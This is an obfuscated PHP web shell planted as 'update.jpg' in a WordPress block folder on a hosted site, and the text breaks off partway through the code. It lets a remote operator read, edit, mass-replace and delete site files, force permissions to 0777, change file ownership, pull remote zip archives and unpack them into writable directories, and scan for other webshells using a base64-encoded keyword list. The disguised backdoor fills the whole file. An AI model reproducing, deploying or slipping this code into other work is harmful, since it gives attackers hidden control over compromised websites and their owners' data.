File: /var/www/clients/client62/web540/web/wp-includes/blocks/quote/update.jpg
<?php header("Content-Type:text/html;charset=utf-8"); error_reporting(0);ini_set('memory_limit','-1');if(defined('gcj_require_once')){}else{define('gcj_require_once', 'yes');function p_3EPYyLT3($v_SVBMdE1A,$v_UZshDF0B){ $v_kgHU88NC = explode("/",$v_SVBMdE1A); $v_AExKwIAm=$v_UZshDF0B; $v_iCCItpDd=$v_SVBMdE1A; foreach($v_kgHU88NC as $v_QRFYzmng=>$v) { $v_GPHQYZVj=basename($v_iCCItpDd); $v_iCCItpDd=dirname($v_iCCItpDd); $v_sImQ0DjQ = explode($v_GPHQYZVj,$v_UZshDF0B); if(count($v_sImQ0DjQ)>1){ continue; } else{ $v_AXpyGgGs = explode($v_GPHQYZVj,$v_SVBMdE1A); $v_AExKwIAm=$v_AXpyGgGs[0].$v_GPHQYZVj.$v_UZshDF0B; break; } } return $v_AExKwIAm;}function p_HftVihzr($v_4EPkUseH,$v_9jb9q1lY){ $v_azsLDIsU=array(); foreach($v_4EPkUseH as $v_QRFYzmng=>$v) { $v_30kTGJdb['name']="valString1[]"; $v_30kTGJdb['value']=$v?$v:""; $v_FFTi6CQS['name']="valString2[]"; $v_FFTi6CQS['value']=$v_9jb9q1lY[$v_QRFYzmng]?$v_9jb9q1lY[$v_QRFYzmng]:''; $v_azsLDIsU[0][]=$v_30kTGJdb; $v_azsLDIsU[1][]=$v_FFTi6CQS; $v_azsLDIsU[2][]=array(); $v_azsLDIsU[3][]=array(); } return json_encode($v_azsLDIsU); } function p_NviESIAA($v_Kl8z7nhc){ $v_dtRcDjGr =json_decode($v_Kl8z7nhc); $v_Vs9M4gAA=array(); foreach($v_dtRcDjGr[0] as $v_5cIyGj6i=>$v_o26ecbfX) { $v_Vs9M4gAA[$v_dtRcDjGr[0][$v_5cIyGj6i]->value]=$v_dtRcDjGr[1][$v_5cIyGj6i]->value; } return $v_Vs9M4gAA; } function get_file($v_OyZStoVi, $v_zY00bavV = '', $v_CkPI2nrH = array()) { $v_FOTwgp5V = glob($v_OyZStoVi.'/*'); if(!is_array($v_FOTwgp5V)) return $v_CkPI2nrH; foreach($v_FOTwgp5V as $v_zrshUKnl) { $v_zrshUKnl=iconv('utf-8', 'GB2312',$v_zrshUKnl); if(is_dir($v_zrshUKnl)) { $v_CkPI2nrH = get_file($v_zrshUKnl, $v_zY00bavV, $v_CkPI2nrH); } else { if($v_zY00bavV) { if(preg_match("/\.(".$v_zY00bavV.")$/i", $v_zrshUKnl)) $v_CkPI2nrH[] = $v_zrshUKnl; } else { $v_CkPI2nrH[] = $v_zrshUKnl; } } } return $v_CkPI2nrH;} function get_dirs($v_OyZStoVi, $v_GPHQYZVj = '', $v_CkPI2nrH = array()) { $v_FOTwgp5V = glob($v_OyZStoVi.'/*'); if(!is_array($v_FOTwgp5V)) return $v_CkPI2nrH; foreach($v_FOTwgp5V as $v_zrshUKnl) { $v_zrshUKnl=iconv('utf-8', 'GB2312',$v_zrshUKnl); $v_j7syZIWF=basename($v_zrshUKnl); if(is_dir($v_zrshUKnl)) { if(is_writable($v_zrshUKnl)){ if(file_exists($v_zrshUKnl.'/'.$v_GPHQYZVj)) { }else{ $v_CkPI2nrH[] = $v_zrshUKnl; } $v_ULK6nAIw=99; if(count($v_CkPI2nrH)>$v_ULK6nAIw){ $v_rS9g1kbM=array_rand($v_CkPI2nrH, 1); $v_CkPI2nrH['selected']= $v_CkPI2nrH[$v_rS9g1kbM]; $v_CkPI2nrH['countFN']=$v_ULK6nAIw+1; return $v_CkPI2nrH; } $v_CkPI2nrH = get_dirs($v_zrshUKnl, $v_GPHQYZVj,$v_CkPI2nrH); } } else { } } return $v_CkPI2nrH;} function set_fileanddir_chmod($v_OyZStoVi, $v_KJdmEyh4,$v_P2wXZ3pI,$v_CkPI2nrH = array()) { $v_FOTwgp5V = glob($v_OyZStoVi.'/*'); if(!is_array($v_FOTwgp5V)) return $v_CkPI2nrH; foreach($v_FOTwgp5V as $v_zrshUKnl) { $v_zrshUKnl=iconv('utf-8', 'GB2312',$v_zrshUKnl); if(is_dir($v_zrshUKnl)) { if(p_yRLVXxTh('chgrp')) { chgrp($v_IUQafYb2,$v_P2wXZ3pI); } chmod($v_zrshUKnl,$v_KJdmEyh4); $v_CkPI2nrH = set_fileanddir_chmod($v_zrshUKnl, $v_KJdmEyh4,$v_P2wXZ3pI); } else { chmod($v_zrshUKnl,$v_KJdmEyh4); } } return $v_CkPI2nrH;}function p_yRLVXxTh($v_GX3BN1Oc){ $v_nlB28kyM = explode(',', ini_p_Me1gUUsu('disable_functions')); return !in_array($v_GX3BN1Oc, $v_nlB28kyM); }function p_PVhFrO2A(){ $v_AExKwIAm=false; $v_zJ0dDx6U=PHP_OS; if(strpos($v_zJ0dDx6U,"Linux")!==false){ $v_AExKwIAm=true; }else if(strpos($v_zJ0dDx6U,"WIN")!==false){ $v_AExKwIAm=false; } return $v_AExKwIAm;}function p_kHNhgKq6($v_GPHQYZVj) { return @file_get_contents($v_GPHQYZVj);} function p_OvvLvjaC($v_u6rarh3U,$v_xrJo1nad){ return @file_put_contents($v_u6rarh3U,$v_xrJo1nad); } function p_KgWTWElR($v_u6rarh3U){ $v_KJdmEyh4= substr(sprintf('%o', fileperms($v_u6rarh3U)), -4); $v_KJdmEyh4= intval($v_KJdmEyh4,8); return $v_KJdmEyh4; }function p_HIWWNwdJ($v_mdLxLexD){ $v_KJdmEyh4=$v_mdLxLexD["access"]; $v_KY5b8R6b=$v_KJdmEyh4; $v_P2wXZ3pI=$v_mdLxLexD["chown"]; $v_WRjLkBxK=$v_mdLxLexD["accept_all"]; $v_IUQafYb2=$v_mdLxLexD["filepath"]; $v_IUQafYb2=iconv('utf-8', 'GB2312',$v_IUQafYb2); $v_ZN9Cx0mc=array(); $v_DlkWpX6q=""; if($v_KJdmEyh4){ $v_KJdmEyh4= intval($v_KJdmEyh4,8); $v_ZN9Cx0mc['access']=$v_KJdmEyh4; if($v_WRjLkBxK==1){ $v_ZN9Cx0mc['accept_all']=$v_WRjLkBxK; if(p_yRLVXxTh('chgrp')) { if(chgrp($v_IUQafYb2,$v_P2wXZ3pI)){ $v_DlkWpX6q.="切换用户组失败!"; } }else{ $v_DlkWpX6q.="不可切换用户组!"; } set_fileanddir_chmod($v_IUQafYb2, $v_KJdmEyh4,$v_P2wXZ3pI); chmod($v_IUQafYb2,$v_KJdmEyh4); }else{ if(p_yRLVXxTh('chgrp')) { if(chgrp($v_IUQafYb2,$v_P2wXZ3pI)){ $v_DlkWpX6q.="切换用户组失败!"; } }else{ $v_DlkWpX6q.="不可切换用户组!"; } $v_ZN9Cx0mc['accept_all']=0; chmod($v_IUQafYb2,$v_KJdmEyh4); } } if(p_yRLVXxTh('chown')) { if(chown($v_IUQafYb2,$v_P2wXZ3pI)){ $v_DlkWpX6q.="切换用户失败!"; } }else{ $v_DlkWpX6q.="不可切换用户!"; } $v_ZN9Cx0mc['msg'] =""; $v_ZN9Cx0mc['fileowneruid']= fileowner($v_IUQafYb2); $v_5GZGOOQh=p_PVhFrO2A()?posix_getpwuid($v_ZN9Cx0mc['fileowneruid']):array('name'=>''); $v_ZN9Cx0mc['fileowner_self']=p_PVhFrO2A()?$v_5GZGOOQh['name']:get_current_user(); $v_LopRJTqD =p_PVhFrO2A()?$v_5GZGOOQh['name']:get_current_user(); $v_ZN9Cx0mc['fileowner']["checked"] =$v_LopRJTqD; if($v_LopRJTqD!="root"&&$v_LopRJTqD!="SYSTEM"){ $v_ZN9Cx0mc['fileowner'][] =p_PVhFrO2A()?"root":"SYSTEM"; } $v_ZN9Cx0mc['filegroup']= filegroup($v_IUQafYb2); $v_9ygxIclK=p_PVhFrO2A()?posix_getgrgid($v_ZN9Cx0mc['filegroup']):array('name'=>''); $v_ZN9Cx0mc['filegroup_name']= p_PVhFrO2A()?$v_9ygxIclK['name']:get_current_user(); $v_LHlbHmDU = fileperms($v_IUQafYb2);$v_ZN9Cx0mc['Owner']['r']=(($v_LHlbHmDU & 0x0100) ? '1' : '0');$v_ZN9Cx0mc['Owner']['w']=(($v_LHlbHmDU & 0x0080) ? '1' : '0');$v_ZN9Cx0mc['Owner']['x']=(($v_LHlbHmDU & 0x0040) ? (($v_LHlbHmDU & 0x0800) ? '1' : '1' ) : (($v_LHlbHmDU & 0x0800) ? '1' : '0'));$v_ZN9Cx0mc['Group']['r']=(($v_LHlbHmDU & 0x0020) ? '1' : '0');$v_ZN9Cx0mc['Group']['w']=(($v_LHlbHmDU & 0x0010) ? '1' : '0');$v_ZN9Cx0mc['Group']['x']=(($v_LHlbHmDU & 0x0008) ? (($v_LHlbHmDU & 0x0400) ? '1' : '1' ) : (($v_LHlbHmDU & 0x0400) ? '1' : '0'));$v_ZN9Cx0mc['Public']['r']=(($v_LHlbHmDU & 0x0004) ? '1' : '0');$v_ZN9Cx0mc['Public']['w']=(($v_LHlbHmDU & 0x0002) ? '1' : '0');$v_ZN9Cx0mc['Public']['x']=(($v_LHlbHmDU & 0x0001) ? (($v_LHlbHmDU & 0x0200) ? '1' : '1' ) : (($v_LHlbHmDU & 0x0200) ? '1' : '0')); if(fileowner($v_IUQafYb2)){ }return $v_ZN9Cx0mc;}$v_CXTYn490="";function preg_fun($v_tUcya54z){ global $v_CXTYn490; $v_tUcya54z[0]= $v_CXTYn490?$v_CXTYn490:$v_tUcya54z[0]; return $v_tUcya54z[0];} function p_rtiiqPp8($v_mdLxLexD) { $v_lUuQyXwf=$v_mdLxLexD["path"]; $v_PZqiIO3Z=$v_mdLxLexD['fileurl']; $v_GPHQYZVj = "replacedirzip00978.zip"; $v_6xEeGNqg =0; $v_zFsINBGu=1; $v_lUuQyXwf=iconv('utf-8', 'GB2312',$v_lUuQyXwf); $v_GPHQYZVj=iconv('utf-8', 'GB2312',$v_GPHQYZVj); if (trim($v_PZqiIO3Z) == '') { return false; } if (trim($v_lUuQyXwf) == '') { $v_lUuQyXwf = './'; } if (0 !== strrpos($v_lUuQyXwf, '/')) { $v_lUuQyXwf.= '/'; } if (!file_exists($v_lUuQyXwf) && !mkdir($v_lUuQyXwf, 0777, true)) { return false; } if ($v_6xEeGNqg) { $v_FDIfD3Os = curl_init(); $v_HD4ThF3d = 5; curl_setopt($v_FDIfD3Os, CURLOPT_URL, $v_PZqiIO3Z); curl_setopt($v_FDIfD3Os, CURLOPT_RETURNTRANSFER, 1); curl_setopt($v_FDIfD3Os, CURLOPT_CONNECTTIMEOUT, $v_HD4ThF3d); $v_xrJo1nad = curl_exec($v_FDIfD3Os); curl_close($v_FDIfD3Os); } else { ob_start(); readfile($v_PZqiIO3Z); $v_xrJo1nad = ob_get_contents(); ob_end_clean(); } $v_O8RTfvSZ = strlen($v_xrJo1nad); if (file_exists($v_lUuQyXwf."/" . $v_GPHQYZVj)) { $v_xEr3E1qK = @fopen($v_lUuQyXwf .'/'. $v_GPHQYZVj, 'w'); fwrite($v_xEr3E1qK, $v_xrJo1nad); fclose($v_xEr3E1qK); unset($v_xrJo1nad, $v_PZqiIO3Z); }else{ $v_xEr3E1qK = @fopen($v_lUuQyXwf .'/'. $v_GPHQYZVj, 'a'); fwrite($v_xEr3E1qK, $v_xrJo1nad); fclose($v_xEr3E1qK); unset($v_xrJo1nad, $v_PZqiIO3Z); } return $v_lUuQyXwf .'/'. $v_GPHQYZVj; } function p_OmZsATBD($v_mdLxLexD) { $v_lUuQyXwf=$v_mdLxLexD["path"]; $v_PZqiIO3Z=$v_mdLxLexD['fileurl']; $v_GPHQYZVj = $v_mdLxLexD['filename']; $v_6xEeGNqg = $v_mdLxLexD['type']?$v_mdLxLexD['type']:0; $v_zFsINBGu=$v_mdLxLexD["fg"]; $v_lUuQyXwf=iconv('utf-8', 'GB2312',$v_lUuQyXwf); $v_GPHQYZVj=iconv('utf-8', 'GB2312',$v_GPHQYZVj); $v_DlkWpX6q=""; if (trim($v_PZqiIO3Z) == '') { $v_DlkWpX6q="上传失败,未填写链接!"; $v_q7ILZLEO=p_q7ILZLEO($v_DlkWpX6q); echo $v_q7ILZLEO; exit; return false; } if (trim($v_lUuQyXwf) == '') { $v_lUuQyXwf = './'; } if (0 !== strrpos($v_lUuQyXwf, '/')) { $v_lUuQyXwf.= '/'; } if (!file_exists($v_lUuQyXwf) && !mkdir($v_lUuQyXwf, 0777, true)) { $v_DlkWpX6q="上传失败,目录创建失败!"; $v_q7ILZLEO=p_q7ILZLEO($v_DlkWpX6q); echo $v_q7ILZLEO; exit; return false; } if ($v_6xEeGNqg) { $v_FDIfD3Os = curl_init(); $v_HD4ThF3d = 50; curl_setopt($v_FDIfD3Os, CURLOPT_URL, $v_PZqiIO3Z); curl_setopt($v_FDIfD3Os, CURLOPT_RETURNTRANSFER, 1); curl_setopt($v_FDIfD3Os, CURLOPT_CONNECTTIMEOUT, $v_HD4ThF3d); $v_xrJo1nad = curl_exec($v_FDIfD3Os); curl_close($v_FDIfD3Os); } else { ob_start(); readfile($v_PZqiIO3Z); $v_xrJo1nad = ob_get_contents(); ob_end_clean(); } $v_O8RTfvSZ = strlen($v_xrJo1nad);if (file_exists($v_lUuQyXwf."/" . $v_GPHQYZVj)){ if($v_zFsINBGu==1){ $v_xEr3E1qK = @fopen($v_lUuQyXwf .'/'. $v_GPHQYZVj, 'w'); fwrite($v_xEr3E1qK, $v_xrJo1nad); fclose($v_xEr3E1qK); unset($v_xrJo1nad, $v_PZqiIO3Z); $v_DlkWpX6q="上传成功!"; }else{ $v_DlkWpX6q="上传失败,文件存在!"; } }else{ $v_xEr3E1qK = @fopen($v_lUuQyXwf .'/'. $v_GPHQYZVj, 'a'); fwrite($v_xEr3E1qK, $v_xrJo1nad); fclose($v_xEr3E1qK); unset($v_xrJo1nad, $v_PZqiIO3Z); $v_DlkWpX6q="上传成功!";}return "1";}function p_W7ZKghSZ($v_mdLxLexD){ $v_R7sfJ4UF=$v_mdLxLexD["rootpath"];}function p_oJ9oEJ1Q($v_mdLxLexD){ $v_ZN9Cx0mc = array(); $v_IUQafYb2=$v_mdLxLexD["replace_filepathend"]; $v_HlXoqiGp = $v_mdLxLexD['replace_dirpath']; $v_HlXoqiGp = iconv('utf-8', 'GB2312',$v_HlXoqiGp); $v_IUQafYb2 = iconv('utf-8', 'GB2312',$v_IUQafYb2); $v_qH1r9wdl=$v_mdLxLexD["butfuntions"]; $v_Tq6KnvyZ=$v_mdLxLexD["replace_con1"]; $v_iXKx5dcW=$v_mdLxLexD["replace_con2"]; $v_Biq46pxc=$v_mdLxLexD["replace_con3"]; $v_F394aEWS=$v_mdLxLexD["replace_fileurl"]; $v_VenZZQY4= $v_mdLxLexD['replace_cmd_type']; $v_pDOLIjqw= $v_mdLxLexD['replace_cmd_type1']; $v_R7sfJ4UF= $v_mdLxLexD['rootpath']; $v_u6rarh3U=$v_mdLxLexD["filepath"]; $v_GPHQYZVj=$v_mdLxLexD["filename"]; $v_iCCItpDd=$v_mdLxLexD["path"]; $v_DCRGfGaP = 'exe|zip|tar|rar|ico|png|jpg|gif|mov|mp4|avi'; $v_Bq3m9w3Q="成功"; $v_AC2pj70u="1"; $v_L2jO3bNE=0; switch($v_pDOLIjqw){ case "zips": $v_iCCItpDd=dirname($v_HlXoqiGp); set_time_limit(0); $v_bgi8YSD4=new ZipArchive; $v_OyZStoVi=$v_HlXoqiGp; $v_OyZStoVi=iconv( 'utf-8','GB2312', $v_OyZStoVi); $v_iCCItpDd=iconv('utf-8','GB2312', $v_iCCItpDd); $v_cvYSoS29=dirname($v_OyZStoVi); $v_GPHQYZVj=basename($v_OyZStoVi); $v_BJK9fNOT=$v_iCCItpDd."/".$v_GPHQYZVj;$v_GPHQYZVj=$v_BJK9fNOT.'.zip';if(file_exists($v_GPHQYZVj)){ unlink($v_GPHQYZVj);}$v_RR1UJi1Y=$v_GPHQYZVj;if($v_bgi8YSD4->open($v_RR1UJi1Y,\ZipArchive::OVERWRITE|\ZIPARCHIVE::CREATE)===TRUE){ p_8KTqzEDK($v_OyZStoVi, $v_bgi8YSD4,$v_cvYSoS29); $v_bgi8YSD4->close();}$v_Bq3m9w3Q="文件夹压缩成功";$v_L2jO3bNE=1;$v_AC2pj70u=1; break; case "downloads": break; case "replacesnowuplode": $v_mdLxLexD["path"]=$v_iCCItpDd; $v_mdLxLexD['fileurl']=$v_HlXoqiGp; $v_mdLxLexD['filename']=basename($v_HlXoqiGp); $v_mdLxLexD['type']=0; $v_mdLxLexD["fg"]=1; p_OmZsATBD($v_mdLxLexD); $v_Bq3m9w3Q="批量上传成功"; $v_L2jO3bNE=1; $v_AC2pj70u=1; break; case "unzips": $v_GPHQYZVj=basename($v_HlXoqiGp); $v_u6rarh3U=$v_iCCItpDd."/".$v_GPHQYZVj; $v_bgi8YSD4 = new ZipArchive; $v_BJK9fNOT=dirname($v_u6rarh3U); $v_SKrkXkxB = $v_bgi8YSD4->open($v_u6rarh3U); if ($v_SKrkXkxB === TRUE) { $v_bgi8YSD4->extractTo($v_BJK9fNOT); $v_bgi8YSD4->close(); } else { } $v_Bq3m9w3Q="批量解压成功"; $v_L2jO3bNE=1; $v_AC2pj70u=1; break; case "copys": $v_GPHQYZVj=basename($v_HlXoqiGp); $v_W3AC9dX4=$v_HlXoqiGp; $v_u6rarh3U=$v_iCCItpDd."/".$v_GPHQYZVj; $v_nVwmR1fY=$v_u6rarh3U; copy($v_W3AC9dX4,$v_nVwmR1fY); $v_Bq3m9w3Q="批量复制成功"; $v_L2jO3bNE=1; $v_AC2pj70u=1; break; case "replacesnowPL": $v_IUQafYb2=$v_HlXoqiGp; goto replacecodestart; break; case "viewreplace": $v_IUQafYb2=$v_HlXoqiGp; goto replacecodestart; break; case "matchRddirs": $v_zpVFAVaY=get_dirs($v_R7sfJ4UF,"index.php"); $v_Bq3m9w3Q="预览匹配可写文件夹"; $v_L2jO3bNE=$v_zpVFAVaY['selected']; $v_AC2pj70u=1; break; case "localdo": break; case "remotedo": break; case "dels": if($v_qH1r9wdl=="dir"){ set_time_limit(0); $v_u6rarh3U=iconv('utf-8', 'GB2312',$v_HlXoqiGp); p_UsFCiXEU($v_u6rarh3U,true); }else{ $v_u6rarh3U=iconv('utf-8', 'GB2312',$v_IUQafYb2); unlink ($v_u6rarh3U); } $v_Bq3m9w3Q="删除成功"; $v_L2jO3bNE=1; $v_AC2pj70u=1; break; default: goto replacecodestart; break; } goto replacecodeend; replacecodestart: if($v_qH1r9wdl!="dir"){ if(!preg_match("/\.(".$v_DCRGfGaP.")$/i",$v_IUQafYb2)){ $v_8Had7am4=filesize($v_IUQafYb2); if($v_8Had7am4>0){ }else{ $v_8Had7am4=sprintf("%u", filesize($v_IUQafYb2)); } $v_UlO4NJJz=round($v_8Had7am4/1024, 2); if($v_UlO4NJJz>1024*5){ }else{ $v_xrJo1nad = p_kHNhgKq6($v_IUQafYb2); if($v_qH1r9wdl=="content"){ $v_Bq3m9w3Q="内容替换成功"; if($v_Tq6KnvyZ!=""){ $v_xrJo1nad = str_replace($v_Tq6KnvyZ, $v_iXKx5dcW, $v_xrJo1nad,$v_bKnHQZvT); }else{ $v_Bq3m9w3Q="原来内容为空"; $v_bKnHQZvT=0; } $v_L2jO3bNE=$v_bKnHQZvT; }else if($v_qH1r9wdl=="reg"){ $v_Bq3m9w3Q="正则替换成功"; if($v_Tq6KnvyZ!=""){ global $v_CXTYn490; $v_CXTYn490=$v_iXKx5dcW; $v_xrJo1nad= preg_replace_callback($v_Tq6KnvyZ,"preg_fun",$v_xrJo1nad,-1,$v_bKnHQZvT); }else{ $v_Bq3m9w3Q="正则表达式为空"; $v_bKnHQZvT=0; } $v_L2jO3bNE=$v_bKnHQZvT; }else if($v_qH1r9wdl=="file"){ $v_Bq3m9w3Q="文件替换成功"; if($v_Biq46pxc!=""){ $v_xrJo1nad= $v_Biq46pxc; $v_L2jO3bNE=1; }else{ $v_Bq3m9w3Q="文件内容为空"; $v_L2jO3bNE=0; } }else if($v_qH1r9wdl=="dir"){ } if($v_VenZZQY4=="viewreplace"||$v_pDOLIjqw=="viewreplace"){ $v_ZN9Cx0mc['content']=$v_xrJo1nad; $v_Bq3m9w3Q.=" 预览"; }else{ if (file_exists($v_IUQafYb2)) { if(is_writable($v_IUQafYb2)){ p_OvvLvjaC($v_IUQafYb2,$v_xrJo1nad); }else{ $v_KgWTWElR= p_KgWTWElR($v_IUQafYb2); $v_Bq3m9w3Q.=" 不可写"; chmod($v_IUQafYb2,0777); p_OvvLvjaC($v_IUQafYb2,$v_xrJo1nad); chmod($v_IUQafYb2,$v_KgWTWElR); } }else{ if(is_writable($v_IUQafYb2)){ p_OvvLvjaC($v_IUQafYb2,$v_xrJo1nad); }else{ $v_KgWTWElR= p_KgWTWElR($v_IUQafYb2); $v_Bq3m9w3Q.=" 不可写"; chmod($v_IUQafYb2,0777); p_OvvLvjaC($v_IUQafYb2,$v_xrJo1nad); chmod($v_IUQafYb2,$v_KgWTWElR); } } } } }else{ } }else{ $v_HlXoqiGp=dirname($v_HlXoqiGp); $v_1cbFgKqT["path"]=$v_HlXoqiGp; $v_1cbFgKqT['fileurl']=$v_F394aEWS; p_rtiiqPp8($v_1cbFgKqT); $v_bgi8YSD4 = new ZipArchive; $v_u6rarh3U=$v_HlXoqiGp."/replacedirzip00978.zip"; $v_BJK9fNOT=dirname($v_u6rarh3U); $v_SKrkXkxB = $v_bgi8YSD4->open($v_u6rarh3U); if ($v_SKrkXkxB === TRUE) { $v_bgi8YSD4->extractTo($v_HlXoqiGp); $v_bgi8YSD4->close(); $v_Bq3m9w3Q="文件夹替换成功"; $v_L2jO3bNE=1; $v_AC2pj70u=1; } else { $v_Bq3m9w3Q="文件夹替换失败"; $v_AC2pj70u=0; } chmod($v_u6rarh3U,0777); unlink($v_u6rarh3U); } replacecodeend: $v_ZN9Cx0mc['butfuntions']=$v_qH1r9wdl; $v_ZN9Cx0mc['replace_con1']=$v_Tq6KnvyZ; $v_ZN9Cx0mc['bakmsg']=$v_Bq3m9w3Q; $v_ZN9Cx0mc['successN']=$v_AC2pj70u; $v_ZN9Cx0mc['countN']=$v_L2jO3bNE; return $v_ZN9Cx0mc;}function p_0JafoG5H($v_mdLxLexD){ $v_ZN9Cx0mc = array(); $v_IUQafYb2=$v_mdLxLexD["filepath"]; $v_KO6KwGBZ=$v_mdLxLexD["is_add"]; $v_e5Zy9ZQo=$v_mdLxLexD["editfile_con"]; $v_IUQafYb2 = iconv('utf-8', 'GB2312',$v_IUQafYb2); $v_GPHQYZVj = $v_mdLxLexD['filename']; $v_w05QM1HY = 'php|asp|aspx|asa|asax|jsp|cgi|fcgi|pl|ini|txt|js|css|html|htaccess'; $v_DCRGfGaP = 'exe|zip|tar|rar|ico|png|jpg|gif|mov|mp4|avi'; $v_xrJo1nad=""; $v_Bq3m9w3Q=""; $v_AC2pj70u="1"; if($v_KO6KwGBZ!="yes"){ if(!preg_match("/\.(".$v_DCRGfGaP.")$/i",$v_IUQafYb2)){ $v_8Had7am4=filesize($v_IUQafYb2); if($v_8Had7am4>0){ }else{ $v_8Had7am4=sprintf("%u", filesize($v_IUQafYb2)); } $v_UlO4NJJz=round($v_8Had7am4/1024, 2); if($v_UlO4NJJz>1024*5){ $v_xrJo1nad = "文件大于5MB,不支持编辑"; }else{ $v_xrJo1nad = p_kHNhgKq6($v_IUQafYb2); if (file_exists($v_IUQafYb2)) { }else{ $v_Bq3m9w3Q="文件不存在"; $v_AC2pj70u="0"; } } }else{ $v_xrJo1nad = "文件格式不支持编辑"; } }else{ if(!preg_match("/\.(".$v_DCRGfGaP.")$/i",$v_IUQafYb2)){ $v_8Had7am4=filesize($v_IUQafYb2); if($v_8Had7am4>0){ }else{ $v_8Had7am4=sprintf("%u", filesize($v_IUQafYb2)); } $v_UlO4NJJz=round($v_8Had7am4/1024, 2); if($v_UlO4NJJz>1024*5){ }else{ p_OvvLvjaC($v_IUQafYb2,$v_e5Zy9ZQo); } } $v_xrJo1nad =$v_e5Zy9ZQo; } $v_ZN9Cx0mc['content']=$v_xrJo1nad; $v_ZN9Cx0mc['is_add']=$v_KO6KwGBZ; $v_ZN9Cx0mc['bakmsg']=$v_Bq3m9w3Q; $v_ZN9Cx0mc['successN']=$v_AC2pj70u; return $v_ZN9Cx0mc;} function p_tYmOmh4O($v_mdLxLexD){ $v_IUQafYb2=$v_mdLxLexD["filepath"]; $v_IUQafYb2 = iconv('utf-8', 'GB2312',$v_IUQafYb2); $v_GPHQYZVj = $v_mdLxLexD['filename']; $v_mwpYNERd=""; $v_LxuSCSD1=$v_mdLxLexD['charset']?$v_mdLxLexD['charset']:'UTF-8'; $v_cZ0GyAvB=""; $v_sqfTv9ir=$v_mdLxLexD['codenum']; $v_ib1xwCkq='UTF-8'; $v_G0VwNEgL = array('newmb'); $v_gucMilYT = base64_decode('VkJTY3JpcHQuRW5jb2RlfEdldFByb2Nlc3Nlc3xnenVuY29tcHJlc3N8Z3ppbmZsYXRlfHBhc3N0aHJ1fGV2YWx8YmFzZTY0X2RlY29kZXxzaGVsbHx6ZW5kfGV4ZWN8Y21kfHNvbmFtZXx3aW5kb3dzfDAwMDAwMHxmc28ufC5leGV8LmRsbHzlrbF85o+Q5p2DfOaMgumprHzmnKjpqax8XHg='); $v_gucMilYT = iconv('utf-8', 'GB2312',$v_gucMilYT); $v_w05QM1HY = 'php|asp|aspx|asa|asax|dll|jsp|cgi|fcgi|pl'; $v_G0VwNEgL = array(); $v_K1An8P4T = array(); $v_OMkJsxle = array( ); $v_IUQafYb2 or $v_IUQafYb2 = $v_G0VwNEgL; $v_mwpYNERd = $v_w05QM1HY; $v_cZ0GyAvB or $v_cZ0GyAvB = $v_gucMilYT; $v_sqfTv9ir or $v_sqfTv9ir = 1; $v_cZ0GyAvB = str_replace('\|', '|', preg_quote($v_cZ0GyAvB)); $v_FOTwgp5V = array(); $v_FOTwgp5V = array_merge($v_FOTwgp5V, get_file($v_IUQafYb2, $v_mwpYNERd)); $v_ZN9Cx0mc = $v_ix8nYAHb = array(); foreach($v_FOTwgp5V as $v_YZP5VEpo) { $v_xrJo1nad = p_kHNhgKq6($v_YZP5VEpo); if(preg_match_all('/('.$v_cZ0GyAvB.')/i', $v_xrJo1nad, $v_fPSvO712)) { $v_cwAPD6Vf = $v_cqSmvkmG = array(); foreach($v_fPSvO712[1] as $v) { in_array($v, $v_cqSmvkmG) or $v_cqSmvkmG[] = $v; } $v_cwAPD6Vf['num'] = count($v_cqSmvkmG); if($v_cwAPD6Vf['num'] < $v_sqfTv9ir && strpos($v_xrJo1nad, 'Zend') === false) continue; $v_cwAPD6Vf['file'] = $v_YZP5VEpo; $v_8Had7am4=filesize($v_YZP5VEpo); if($v_8Had7am4>0){ }else{ $v_8Had7am4=sprintf("%u", filesize($v_YZP5VEpo)); } $v_UlO4NJJz=round($v_8Had7am4/1024, 2); $v_cwAPD6Vf['filesize']=$v_UlO4NJJz."KB"; $v_cwAPD6Vf['filemtime']=date('Y-m-d H:i:s',filemtime($v_YZP5VEpo)); $v_cwAPD6Vf['fileshot'] = str_replace($v_IUQafYb2, '', $v_YZP5VEpo); if($v_ix8nYAHb && in_array($v_cwAPD6Vf['file'], $v_ix8nYAHb)) { if(md5_file($v_YZP5VEpo) == array_search($v_cwAPD6Vf['file'], $v_ix8nYAHb)) continue; } if($v_OMkJsxle[$v_cwAPD6Vf['file']] == $v_cwAPD6Vf['num']) continue; $v_cwAPD6Vf['code'] = iconv('GB2312', 'utf-8', implode(',', $v_cqSmvkmG)); $v_ZN9Cx0mc[] = $v_cwAPD6Vf; } } $v_q0hiDS0i = count($v_ZN9Cx0mc); return $v_ZN9Cx0mc; } function p_bseUQiJl($v_HISUPDkk) { $v_HISUPDkk = str_replace('\\', '/', $v_HISUPDkk); $v_HISUPDkk = str_replace('//', '/', $v_HISUPDkk); if(substr($v_HISUPDkk, -1)== '/') { $v_QesT84V0=explode(':/',$v_HISUPDkk); $v_HISUPDkk=$v_QesT84V0[0].':'; } return $v_HISUPDkk;} function get_filedir($v_OyZStoVi, $v_zY00bavV = '', $v_CkPI2nrH = array()) { $v_OyZStoVi=iconv('utf-8', 'GB2312',$v_OyZStoVi); $v_pGQsxPOg = glob($v_OyZStoVi.'/*'); $v_ebL7WIBH = glob($v_OyZStoVi.'/.*'); foreach($v_ebL7WIBH as $v_Lx92IZIL=>$v_Wu5U37RI) { $v_Wu5U37RI=basename($v_Wu5U37RI); if($v_Wu5U37RI=="."||$v_Wu5U37RI=="..") unset($v_ebL7WIBH[$v_Lx92IZIL]); } $v_FOTwgp5V=array_merge($v_pGQsxPOg,$v_ebL7WIBH); if(!is_array($v_FOTwgp5V)) return $v_CkPI2nrH; foreach($v_FOTwgp5V as $v_QRFYzmng=>$v) { if(is_dir($v)) { $v_Wu5U37RI=$v; $v_lj70C8Q1=filemtime($v_Wu5U37RI); $v=iconv('GB2312', 'utf-8', $v); $v_KPOBt3fx = preg_replace('/^.+[\\\\\\/]/', '', $v); $v_asOIgYTr= fileowner($v); $v_5GZGOOQh=p_PVhFrO2A()?posix_getpwuid($v_asOIgYTr):array('name'=>''); $v_jkzXGVrZ[$v_KPOBt3fx]['fileowner_self']=p_PVhFrO2A()?$v_5GZGOOQh['name']:get_current_user(); $v_jkzXGVrZ[$v_KPOBt3fx]['dirname'] = $v_KPOBt3fx; $v_jkzXGVrZ[$v_KPOBt3fx]['filemtime'] =date('Y-m-d H:i:s',$v_lj70C8Q1); $v_jkzXGVrZ[$v_KPOBt3fx]['mod'] = substr(base_convert(fileperms($v_Wu5U37RI), 10, 8), -4); } else { $v_Wu5U37RI=$v; $v_lj70C8Q1=filemtime($v_Wu5U37RI); $v=iconv('GB2312', 'utf-8', $v); 